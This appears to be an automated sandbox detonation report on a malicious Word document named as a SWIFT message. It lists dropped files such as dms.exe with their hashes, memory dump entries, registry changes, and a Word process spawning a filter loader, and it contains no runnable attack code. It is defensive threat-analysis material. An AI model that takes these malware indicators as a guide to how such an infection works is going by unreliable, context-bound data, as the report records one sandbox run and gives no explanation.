memory/384-139-0x0000000000A40000-0x0000000000A41000-memory.dmp

memory/820-140-0x00000000003A0000-0x00000000003A1000-memory.dmp

memory/820-141-0x0000000000380000-0x000000000038D000-memory.dmp

memory/1052-142-0x0000000000000000-mapping.dmp

memory/1052-144-0x000007FEFC411000-0x000007FEFC413000-memory.dmp

memory/820-146-0x000000000A500000-0x000000000A5A8000-memory.dmp

memory/820-147-0x0000000000CD0000-0x0000000000D2F000-memory.dmp

memory/1736-148-0x0000000000400000-0x0000000000464000-memory.dmp

memory/1736-149-0x000000000040717B-mapping.dmp

C:\Users\Admin\AppData\Roaming\dms.exe

MD5 3519d9884a37f6e79b9e5f19b97a3d99
SHA1 49d06c39e5664977651d4e16d00ebcad6659917c
SHA256 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a
SHA512 a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060

memory/1736-152-0x0000000000400000-0x0000000000464000-memory.dmp

C:\Users\Admin\AppData\Roaming\dms.exe

MD5 3519d9884a37f6e79b9e5f19b97a3d99
SHA1 49d06c39e5664977651d4e16d00ebcad6659917c
SHA256 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a
SHA512 a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060

memory/972-156-0x000000000040717B-mapping.dmp

memory/1756-162-0x000000000040717B-mapping.dmp

C:\Users\Admin\AppData\Roaming\dms.exe

MD5 3519d9884a37f6e79b9e5f19b97a3d99
SHA1 49d06c39e5664977651d4e16d00ebcad6659917c
SHA256 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a
SHA512 a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060

Analysis: behavioral2

Detonation Overview

Submitted

2021-08-02 08:55

Reported

2021-08-02 08:58

Platform

win10v20210410

Max time kernel

145s

Max time network

139s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Swift Mesaji-20210802YPT21-150961.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Modifies registry class

Description Indicator Process Target
Key created \Registry\User\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_7f5 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key created \Registry\User\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_7f5\Children C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_7f5\Children C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125\DisplayName = "OICE_16_974FA576_32C1D314_7F5" C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key created \Registry\User\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125\Children C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_7f5 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125\Children C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key created \Registry\User\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125\Moniker = "oice_16_974fa576_32c1d314_7f5" C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

NTFS ADS

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Local\Temp\{53FA5B1A-E93A-43F8-9548-FF2E2F23C1D8}\abdtfhghgdghgh.ScT:Zone.Identifier C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Swift Mesaji-20210802YPT21-150961.doc" /o ""

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE

"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE" C:\Program Files\Common Files\Microsoft Shared\GRPHFLT\PNG32.FLT

Network

N/A

Files

memory/4436-114-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

memory/4436-115-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

memory/4436-116-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

memory/4436-117-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

memory/4436-119-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

memory/4436-118-0x00007FF9D5EC0000-0x00007FF9D89E3000-memory.dmp

memory/4436-122-0x00007FF9D0AC0000-0x00007FF9D1BAE000-memory.dmp

memory/4436-123-0x00007FF9CD9E0000-0x00007FF9CF8D5000-memory.dmp

memory/2856-341-0x0000000000000000-mapping.dmp

memory/2856-355-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

memory/2856-358-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

memory/2856-363-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

memory/2856-365-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp

C:\Users\Admin\AppData\Local\Packages\oice_16_974fa576_32c1d314_7f5\AC\Temp\FL4646.tmp

MD5 233a02a30f089cc84ff776ff796c08db
SHA1 906c5231c954abb33bba3bc200a5a9a3222a3356
SHA256 4c73cd20402c324612435e2577ea6582201a9fed5a96983f9093ca9ad68fa0df
SHA512 d273fb560957b26d3adb08797452d6ee9108732ebde59144b9ec1c8c200caa8af29e332286bc41a40f43fefd85c9206ad3a899f5aa028276da0994bba8d04857